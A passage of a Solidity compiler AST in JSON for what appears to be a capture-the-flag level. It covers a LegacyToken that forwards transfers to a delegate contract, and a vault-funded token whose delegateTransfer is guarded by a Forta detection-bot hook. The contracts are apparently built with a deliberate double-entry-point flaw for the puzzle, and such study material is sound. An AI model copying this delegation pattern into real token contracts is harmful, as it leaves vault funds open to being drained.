0"}],"id":51697,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2387:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51696,"name":"address","nodeType":"ElementaryTypeName","src":"2387:7:71","typeDescriptions":{}}},"id":51699,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2387:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2366:31:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":51716,"nodeType":"Block","src":"2462:80:71","statements":[{"expression":{"arguments":[{"id":51710,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51684,"src":"2509:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51711,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51686,"src":"2513:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"expression":{"id":51712,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2520:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51713,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2524:6:71","memberName":"sender","nodeType":"MemberAccess","src":"2520:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51708,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2483:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"id":51709,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2492:16:71","memberName":"delegateTransfer","nodeType":"MemberAccess","referencedDeclaration":51462,"src":"2483:25:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$_t_address_$returns$_t_bool_$","typeString":"function (address,uint256,address) external returns (bool)"}},"id":51714,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2483:48:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":51691,"id":51715,"nodeType":"Return","src":"2476:55:71"}]},"id":51717,"nodeType":"IfStatement","src":"2362:180:71","trueBody":{"id":51707,"nodeType":"Block","src":"2399:57:71","statements":[{"expression":{"arguments":[{"id":51703,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51684,"src":"2435:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51704,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51686,"src":"2439:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":51701,"name":"super","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-25,"src":"2420:5:71","typeDescriptions":{"typeIdentifier":"t_type$_t_super$_LegacyToken_$51720_$","typeString":"type(contract super LegacyToken)"}},"id":51702,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2426:8:71","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47399,"src":"2420:14:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) returns (bool)"}},"id":51705,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2420:25:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":51691,"id":51706,"nodeType":"Return","src":"2413:32:71"}]}}]},"baseFunctions":[47399],"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"2285:8:71","overrides":{"id":51688,"nodeType":"OverrideSpecifier","overrides":[],"src":"2328:8:71"},"parameters":{"id":51687,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51684,"mutability":"mutable","name":"to","nameLocation":"2302:2:71","nodeType":"VariableDeclaration","scope":51719,"src":"2294:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51683,"name":"address","nodeType":"ElementaryTypeName","src":"2294:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51686,"mutability":"mutable","name":"value","nameLocation":"2314:5:71","nodeType":"VariableDeclaration","scope":51719,"src":"2306:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51685,"name":"uint256","nodeType":"ElementaryTypeName","src":"2306:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2293:27:71"},"returnParameters":{"id":51691,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51690,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51719,"src":"2346:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51689,"name":"bool","nodeType":"ElementaryTypeName","src":"2346:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2345:6:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":[{"hexValue":"4c6567616379546f6b656e","id":51647,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1984:13:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_0ee2e886d48b449eae8c58f774e5f0080cabd01bbf86d262bcecfd0ead310326","typeString":"literal_string \"LegacyToken\""},"value":"LegacyToken"},{"hexValue":"4c4754","id":51648,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1999:5:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_40ef642736e132b36c3ad2894c4d80ce0afe649c34017ca8cb01deee50079ab7","typeString":"literal_string \"LGT\""},"value":"LGT"}],"baseName":{"id":51646,"name":"ERC20","nameLocations":["1978:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"1978:5:71"},"id":51649,"nodeType":"InheritanceSpecifier","src":"1978:27:71"},{"baseName":{"id":51650,"name":"Ownable","nameLocations":["2007:7:71"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"2007:7:71"},"id":51651,"nodeType":"InheritanceSpecifier","src":"2007:7:71"}],"canonicalName":"LegacyToken","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51720,46700,47861,47964,47939,48281],"name":"LegacyToken","nameLocation":"1963:11:71","scope":51851,"usedErrors":[],"usedEvents":[46601,47873,47882]},{"id":51850,"nodeType":"ContractDefinition","src":"2552:1365:71","nodes":[{"id":51730,"nodeType":"VariableDeclaration","src":"2649:26:71","nodes":[],"constant":false,"functionSelector":"d444d8a0","mutability":"mutable","name":"cryptoVault","nameLocation":"2664:11:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51729,"name":"address","nodeType":"ElementaryTypeName","src":"2649:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51732,"nodeType":"VariableDeclaration","src":"2681:21:71","nodes":[],"constant":false,"functionSelector":"48db5f89","mutability":"mutable","name":"player","nameLocation":"2696:6:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51731,"name":"address","nodeType":"ElementaryTypeName","src":"2681:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51734,"nodeType":"VariableDeclaration","src":"2708:28:71","nodes":[],"constant":false,"functionSelector":"26fe9951","mutability":"mutable","name":"delegatedFrom","nameLocation":"2723:13:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51733,"name":"address","nodeType":"ElementaryTypeName","src":"2708:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51737,"nodeType":"VariableDeclaration","src":"2742:18:71","nodes":[],"constant":false,"functionSelector":"d8670e1f","mutability":"mutable","name":"forta","nameLocation":"2755:5:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"},"typeName":{"id":51736,"nodeType":"UserDefinedTypeName","pathNode":{"id":51735,"name":"Forta","nameLocations":["2742:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":51577,"src":"2742:5:71"},"referencedDeclaration":51577,"src":"2742:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"visibility":"public"},{"id":51772,"nodeType":"FunctionDefinition","src":"2767:288:71","nodes":[],"body":{"id":51771,"nodeType":"Block","src":"2867:188:71","nodes":[],"statements":[{"expression":{"id":51750,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51748,"name":"delegatedFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51734,"src":"2877:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51749,"name":"legacyToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51739,"src":"2893:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2877:27:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51751,"nodeType":"ExpressionStatement","src":"2877:27:71"},{"expression":{"id":51756,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51752,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"2914:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51754,"name":"fortaAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51743,"src":"2928:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51753,"name":"Forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51577,"src":"2922:5:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Forta_$51577_$","typeString":"type(contract Forta)"}},"id":51755,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2922:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"src":"2914:27:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51757,"nodeType":"ExpressionStatement","src":"2914:27:71"},{"expression":{"id":51760,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51758,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"2951:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51759,"name":"playerAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51745,"src":"2960:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2951:22:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51761,"nodeType":"ExpressionStatement","src":"2951:22:71"},{"expression":{"id":51764,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51762,"name":"cryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51730,"src":"2983:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51763,"name":"vaultAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51741,"src":"2997:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2983:26:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51765,"nodeType":"ExpressionStatement","src":"2983:26:71"},{"expression":{"arguments":[{"id":51767,"name":"cryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51730,"src":"3025:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"313030","id":51768,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3038:9:71","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"}],"id":51766,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"3019:5:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":51769,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3019:29:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51770,"nodeType":"ExpressionStatement","src":"3019:29:71"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51746,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51739,"mutability":"mutable","name":"legacyToken","nameLocation":"2787:11:71","nodeType":"VariableDeclaration","scope":51772,"src":"2779:19:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51738,"name":"address","nodeType":"ElementaryTypeName","src":"2779:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51741,"mutability":"mutable","name":"vaultAddress","nameLocation":"2808:12:71","nodeType":"VariableDeclaration","scope":51772,"src":"2800:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51740,"name":"address","nodeType":"ElementaryTypeName","src":"2800:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51743,"mutability":"mutable","name":"fortaAddress","nameLocation":"2830:12:71","nodeType":"VariableDeclaration","scope":51772,"src":"2822:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51742,"name":"address","nodeType":"ElementaryTypeName","src":"2822:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51745,"mutability":"mutable","name":"playerAddress","nameLocation":"2852:13:71","nodeType":"VariableDeclaration","scope":51772,"src":"2844:21:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51744,"name":"address","nodeType":"ElementaryTypeName","src":"2844:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2778:88:71"},"returnParameters":{"id":51747,"nodeType":"ParameterList","parameters":[],"src":"2867:0:71"},"scope":51850,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51784,"nodeType":"ModifierDefinition","src":"3061:115:71","nodes":[],"body":{"id":51783,"nodeType":"Block","src":"3089:87:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51778,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":51775,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3107:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51776,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3111:6:71","memberName":"sender","nodeType":"MemberAccess","src":"3107:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":51777,"name":"delegatedFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51734,"src":"3121:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3107:27:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f74206c656761637920636f6e7472616374","id":51779,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3136:21:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_d53c3dd2b8b8bbdc39671c54443b1e626049f3606ea5f078539eb33f51f6c68f","typeString":"literal_string \"Not legacy contract\""},"value":"Not legacy contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d53c3dd2b8b8bbdc39671c54443b1e626049f3606ea5f078539eb33f51f6c68f","typeString":"literal_string \"Not legacy contract\""}],"id":51774,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3099:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51780,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3099:59:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51781,"nodeType":"ExpressionStatement","src":"3099:59:71"},{"id":51782,"nodeType":"PlaceholderStatement","src":"3168:1:71"}]},"name":"onlyDelegateFrom","nameLocation":"3070:16:71","parameters":{"id":51773,"nodeType":"ParameterList","parameters":[],"src":"3086:2:71"},"virtual":false,"visibility":"internal"},{"id":51824,"nodeType":"ModifierDefinition","src":"3182:480:71","nodes":[],"body":{"id":51823,"nodeType":"Block","src":"3205:457:71","nodes":[],"statements":[{"assignments":[51787],"declarations":[{"constant":false,"id":51787,"mutability":"mutable","name":"detectionBot","nameLocation":"3223:12:71","nodeType":"VariableDeclaration","scope":51823,"src":"3215:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51786,"name":"address","nodeType":"ElementaryTypeName","src":"3215:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":51795,"initialValue":{"arguments":[{"arguments":[{"id":51792,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"3271:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51790,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3246:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51791,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3252:18:71","memberName":"usersDetectionBots","nodeType":"MemberAccess","referencedDeclaration":51496,"src":"3246:24:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_contract$_IDetectionBot_$51471_$","typeString":"function (address) view external returns (contract IDetectionBot)"}},"id":51793,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3246:32:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51789,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3238:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51788,"name":"address","nodeType":"ElementaryTypeName","src":"3238:7:71","typeDescriptions":{}}},"id":51794,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3238:41:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"3215:64:71"},{"assignments":[51797],"declarations":[{"constant":false,"id":51797,"mutability":"mutable","name":"previousValue","nameLocation":"3340:13:71","nodeType":"VariableDeclaration","scope":51823,"src":"3332:21:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51796,"name":"uint256","nodeType":"ElementaryTypeName","src":"3332:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":51802,"initialValue":{"arguments":[{"id":51800,"name":"detectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51787,"src":"3378:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51798,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3356:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51799,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3362:15:71","memberName":"botRaisedAlerts","nodeType":"MemberAccess","referencedDeclaration":51500,"src":"3356:21:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51801,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3356:35:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3332:59:71"},{"expression":{"arguments":[{"id":51806,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"3439:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":51807,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3447:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51808,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3451:4:71","memberName":"data","nodeType":"MemberAccess","src":"3447:8:71","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"id":51803,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3426:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51805,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3432:6:71","memberName":"notify","nodeType":"MemberAccess","referencedDeclaration":51551,"src":"3426:12:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":51809,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3426:30:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51810,"nodeType":"ExpressionStatement","src":"3426:30:71"},{"id":51811,"nodeType":"PlaceholderStatement","src":"3497:1:71"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51817,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51814,"name":"detectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51787,"src":"3579:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51812,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3557:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51813,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3563:15:71","memberName":"botRaisedAlerts","nodeType":"MemberAccess","referencedDeclaration":51500,"src":"3557:21:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51815,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3557:35:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"id":51816,"name":"previousValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51797,"src":"3595:13:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3557:51:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51822,"nodeType":"IfStatement","src":"3553:102:71","trueBody":{"expression":{"arguments":[{"hexValue":"416c65727420686173206265656e207472696767657265642c20726576657274696e67","id":51819,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3617:37:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_3ae8a2daecdbfc253037824392ddaa1876273cf31b918ffb36463f6dc821c120","typeString":"literal_string \"Alert has been triggered, reverting\""},"value":"Alert has been triggered, reverting"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3ae8a2daecdbfc253037824392ddaa1876273cf31b918ffb36463f6dc821c120","typeString":"literal_string \"Alert has been triggered, reverting\""}],"id":51818,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"3610:6:71","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":51820,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3610:45:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51821,"nodeType":"ExpressionStatement","src":"3610:45:71"}}]},"name":"fortaNotify","nameLocation":"3191:11:71","parameters":{"id":51785,"nodeType":"ParameterList","parameters":[],"src":"3202:2:71"},"virtual":false,"visibility":"internal"},{"id":51849,"nodeType":"FunctionDefinition","src":"3668:247:71","nodes":[],"body":{"id":51848,"nodeType":"Block","src":"3845:70:71","nodes":[],"statements":[{"expression":{"arguments":[{"id":51841,"name":"origSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51830,"src":"3865:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51842,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51826,"src":"3877:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51843,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51828,"src":"3881:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51840,"name":"_transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47622,"src":"3855:9:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function 